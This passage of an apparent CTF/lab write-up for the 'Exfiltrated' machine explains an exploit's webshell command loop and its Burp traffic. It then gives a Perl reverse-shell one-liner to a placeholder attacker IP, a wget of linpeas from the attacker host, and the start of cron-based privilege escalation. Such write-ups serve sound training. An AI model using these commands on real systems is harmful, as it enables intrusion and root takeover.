xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #C792EA\">def<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #82AAFF\">code_exec<\/span><span style=\"color: #89DDFF\">():<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #89DDFF; font-style: italic\">try<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        url_clean <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> url_shell<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">replace<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">\/panel<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">&#39;&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        req <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> session<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">get<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">url_clean <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\"> shell_name <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">.phar?cmd=id<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #89DDFF; font-style: italic\">if<\/span><span style=\"color: #EEFFFF\"> req<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">status_code<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">==<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #F78C6C\">200<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Upload Success... Webshell path: <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\"> url_shell <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\"> shell_name <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">.phar <\/span><span style=\"color: #EEFFFF\">\\n<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #89DDFF; font-style: italic\">while<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">True:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">                cmd <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #82AAFF\">input<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">$ <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">                x <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> session<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">get<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">url_clean <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\"> shell_name <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">.phar?cmd=<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\">cmd<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #89DDFF\">&#39;&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">                <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">x<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">text<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #89DDFF; font-style: italic\">else<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #EEFFFF\">\\n<\/span><span style=\"color: #C3E88D\">[x] Webshell not found... upload seems to have failed<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #89DDFF; font-style: italic\">except<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #EEFFFF\">\\n<\/span><span style=\"color: #C3E88D\">[x] Failed to execute PHP code...<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>Executes the code via a Webshell.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><code>(92) url_clean = url_shell.replace('\/panel', '')<\/code> &#8211;&gt; modifies the <code>url_shell<\/code> to remove the <code>\/panel<\/code> part. This is necessary because the shell is accessed through a different path that doesn&#8217;t include <code>\/panel<\/code>.<\/li>\n\n\n\n<li><code><code>(93) req = session.get(url_clean + shell_name + '.phar?cmd=id')<\/code><\/code> &#8211;&gt; Constructs the URL to the uploaded web shell by appending the randomly generated shell name and adding the <code>.phar<\/code> extension. Appends <code>?cmd=id<\/code> to the URL, which means it sends a GET request to the web shell with the command <code>id<\/code> (a linux command which return the user identity).<\/li>\n\n\n\n<li><code>(95) if req.status_code == 200<\/code> &#8211;&gt; Checks if the HTTP status code of the response is 200 (OK).<\/li>\n\n\n\n<li><code>(96) print('[+] Upload Success... Webshell path: ' + url_shell + shell_name + '.phar \\n')<\/code> &#8211;&gt; If the web shell is accessible, prints the URL path to the uploaded web shell.<\/li>\n\n\n\n<li><code>(97) while True:<\/code> &#8211;&gt; Enters an infinite loop to continuously accept and execute commands.<\/li>\n\n\n\n<li><code>(98) cmd = input('$ ')<\/code> &#8211;&gt;Prompts the user for a command to execute on the target server.<\/li>\n\n\n\n<li><code>(99) x = session.get(url_clean + shell_name + '.phar?cmd=' + cmd + '')<\/code> &#8211;&gt; Constructs the URL with the user-provided command and sends a GET request to the web shell, passing the command as a query parameter (<code>cmd=&lt;command&gt;<\/code>).<\/li>\n\n\n\n<li><code>(100) print(x.text)<\/code> &#8211;&gt;Prints the output of the executed command received in the response.<\/li>\n<\/ol>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h4 class=\"wp-block-heading\">Playing in Traffic<\/h4>\n\n\n\n<p>Now, lets run the exploit while proxying the traffic through Burp Suite to give a more clear visual of the actions the script is taking<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"812\" height=\"516\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-43.png\" alt=\"\" class=\"wp-image-308\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-43.png 812w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-43-300x191.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-43-768x488.png 768w\" sizes=\"auto, (max-width: 812px) 100vw, 812px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"816\" height=\"349\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-46.png\" alt=\"\" class=\"wp-image-311\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-46.png 816w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-46-300x128.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-46-768x328.png 768w\" sizes=\"auto, (max-width: 816px) 100vw, 816px\" \/><\/figure>\n\n\n\n<p>A GET request is sent to the <code>exfiltrated.offsec\/panel<\/code>.  Rendering the response out shows it is at the login page. Searching the response body for  &#8220;__st&#8221; that was stated in our script (Line 38) brings us to the CSRF token the script is seeking<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"815\" height=\"600\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-47.png\" alt=\"\" class=\"wp-image-312\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-47.png 815w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-47-300x221.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-47-768x565.png 768w\" sizes=\"auto, (max-width: 815px) 100vw, 815px\" \/><\/figure>\n\n\n\n<p>It then sends a POST request to the login URL containing the 3 required parameters in the request body: CSRF Token (__st), username, password. The rendered out response shows the dashboard we were exploring earlier, indicating the login was successful<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"813\" height=\"388\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-48.png\" alt=\"\" class=\"wp-image-313\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-48.png 813w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-48-300x143.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-48-768x367.png 768w\" sizes=\"auto, (max-width: 813px) 100vw, 813px\" \/><\/figure>\n\n\n\n<p>The exploit script no sends a POST request to <code>exfiltrated.offsec\/panel\/uploads\/read.json<\/code>. The multipart form data (Line 81-83) can now be seem in the body. Going back to the terminal, we can see the random name that was given to our malicious file and search\/find it in our request and response body.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"858\" height=\"419\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-49.png\" alt=\"\" class=\"wp-image-314\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-49.png 858w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-49-300x147.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-49-768x375.png 768w\" sizes=\"auto, (max-width: 858px) 100vw, 858px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"820\" height=\"492\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-50.png\" alt=\"\" class=\"wp-image-315\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-50.png 820w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-50-300x180.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-50-768x461.png 768w\" sizes=\"auto, (max-width: 820px) 100vw, 820px\" \/><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"815\" height=\"262\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-51.png\" alt=\"\" class=\"wp-image-316\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-51.png 815w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-51-300x96.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-51-768x247.png 768w\" sizes=\"auto, (max-width: 815px) 100vw, 815px\" \/><\/figure>\n\n\n\n<p>A GET request is sent to <code>exfiltrated\/uploads\/&lt;maliciousFile.phar&gt;<\/code> with query parameter of the command (id) that was hard-coded into the script. The rendered response show that the command executed and gave the expected output.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"444\" height=\"134\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-52.png\" alt=\"\" class=\"wp-image-317\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-52.png 444w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-52-300x91.png 300w\" sizes=\"auto, (max-width: 444px) 100vw, 444px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"814\" height=\"276\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-53.png\" alt=\"\" class=\"wp-image-318\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-53.png 814w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-53-300x102.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-53-768x260.png 768w\" sizes=\"auto, (max-width: 814px) 100vw, 814px\" \/><\/figure>\n\n\n\n<p>Just something interesting I discovered. Any command we type into our terminal shell, shows the output in Burp as well. It probably has nothing significant to do with anything, I just thought it was fun.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Privilege Escalation<\/h3>\n\n\n\n<p>Before getting into the Privilege Escalation, lets get a better interactive shell. <a href=\"https:\/\/www.revshells.com\/\" target=\"_blank\" rel=\"noopener\" title=\"\">Revshells.com<\/a> is a great resource of&#8230; well&#8230; reverse shells. Add the IP of your attack machine\/listening port. You can then browse through a series of shells and do simple Copy &amp; Paste.<\/p>\n\n\n\n<p>A perl shell proves to be a winner.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2e2e2e;color:#d5ffff\">Perl no sh &#8211;  Reverse Shell<\/span><span role=\"button\" tabindex=\"0\" data-code=\"perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&quot;xx.xx.xx.xx:4444&quot;);STDIN-&gt;fdopen($c,r);$~-&gt;fdopen($c,w);system$_ while&lt;&gt;;'\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #EEFFFF\">perl -MIO -e &#39;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&quot;xx.xx.xx.xx:4444&quot;);STDIN-&gt;fdopen($c,r);$~-&gt;fdopen($c,w);system$_ while&lt;&gt;;&#39;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>Start the netcat listener on port 4444, paste the command into the existing webshell and execute. Spawning a TTY shell is recommended. A good tutorial is here: <a href=\"https:\/\/wiki.zacheller.dev\/pentest\/privilege-escalation\/spawning-a-tty-shell\" target=\"_blank\" rel=\"noopener\" title=\"\">zacheller.dev<\/a>.<\/p>\n\n\n\n<p>I want to run linpeas on this machine to give me some informatino on possible privilege escalation paths. I tend to put it into the \/tmp directory to run, as it usually has the most permissions therefore allowing linpeas to run without problem (mostly).<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"789\" height=\"275\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-54.png\" alt=\"\" class=\"wp-image-322\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-54.png 789w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-54-300x105.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-54-768x268.png 768w\" sizes=\"auto, (max-width: 789px) 100vw, 789px\" \/><\/figure>\n\n\n\n<p>Will be using a <code>wget<\/code> command on the target and a python server on the attack machine. Start a python HTTP server on the attacker in the working directory of the linpeas file. The command <code>python3 -m http.server 80<\/code> starts it on port 80. I like to add a more robust command to display my IP and file listings. It displays all the information for entering the wget command on the target.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span role=\"button\" tabindex=\"0\" data-code=\"ifconfig tun0 &amp;&amp; ls &amp;&amp; python3 -m http.server 80\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #EEFFFF\">ifconfig tun0 &amp;&amp; ls &amp;&amp; python3 -m http.server 80<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>On the target, enter the following wget command (altering where necassary.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span role=\"button\" tabindex=\"0\" data-code=\"wget http:\/\/xx.xx.xx.xx\/linpeas.sh\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #EEFFFF\">wget http:\/\/xx.xx.xx.xx\/linpeas.sh<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>Once copied over, modify the file&#8217;s permission so it can be executed.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span role=\"button\" tabindex=\"0\" data-code=\"chmod +x linpeas.sh\n\n# Confirm permissions changed\nls -la\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #EEFFFF\">chmod +x linpeas.sh<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #545454; font-style: italic\"># Confirm permissions changed<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">ls -la<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>Execute linpeas.sh<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span role=\"button\" tabindex=\"0\" data-code=\".\/linpeas.sh\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #EEFFFF\">.\/linpeas.sh<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>Checking the linpeas output, we come upon a Cron job (no relation) that is running. Bash is running <code>\/opt\/image-exif.sh<\/code> every minute as <code>root<\/code>. If the process can be altered and made malicious, it will automacally fire and give us root access.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"799\" height=\"208\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-55.png\" alt=\"\" class=\"wp-image-326\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-55.png 799w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-55-300x78.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-55-768x200.png 768w\" sizes=\"auto, (max-width: 799px) 100vw, 799px\" \/><\/figure>\n\n\n\n<p>Generally, the presence of the 5 * (astericks\/stars\/splats) is something you want to take note of. Each splat in a column indicates a unit of time the machine waits before automatically excuting that application. This particular one shows that the job is being executed every minute. Below is a handy little diagram to explain the splats.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span role=\"button\" tabindex=\"0\" data-code=\" \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 minute (0\u201359)\n \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 hour (0\u201323)\n \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 day of the month (1\u201331)\n \u2502 \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 month (1\u201312)\n \u2502 \u2502 \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 day of the week (0\u20136) (Sunday to Saturday;\n \u2502 \u2502 \u2502 \u2502 \u2502                       7 is also Sunday on some systems)\n \u2502 \u2502 \u2502 \u2502 \u2502\n \u2502 \u2502 \u2502 \u2502 \u2502\n * * * * * &lt;command to execute&gt;\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 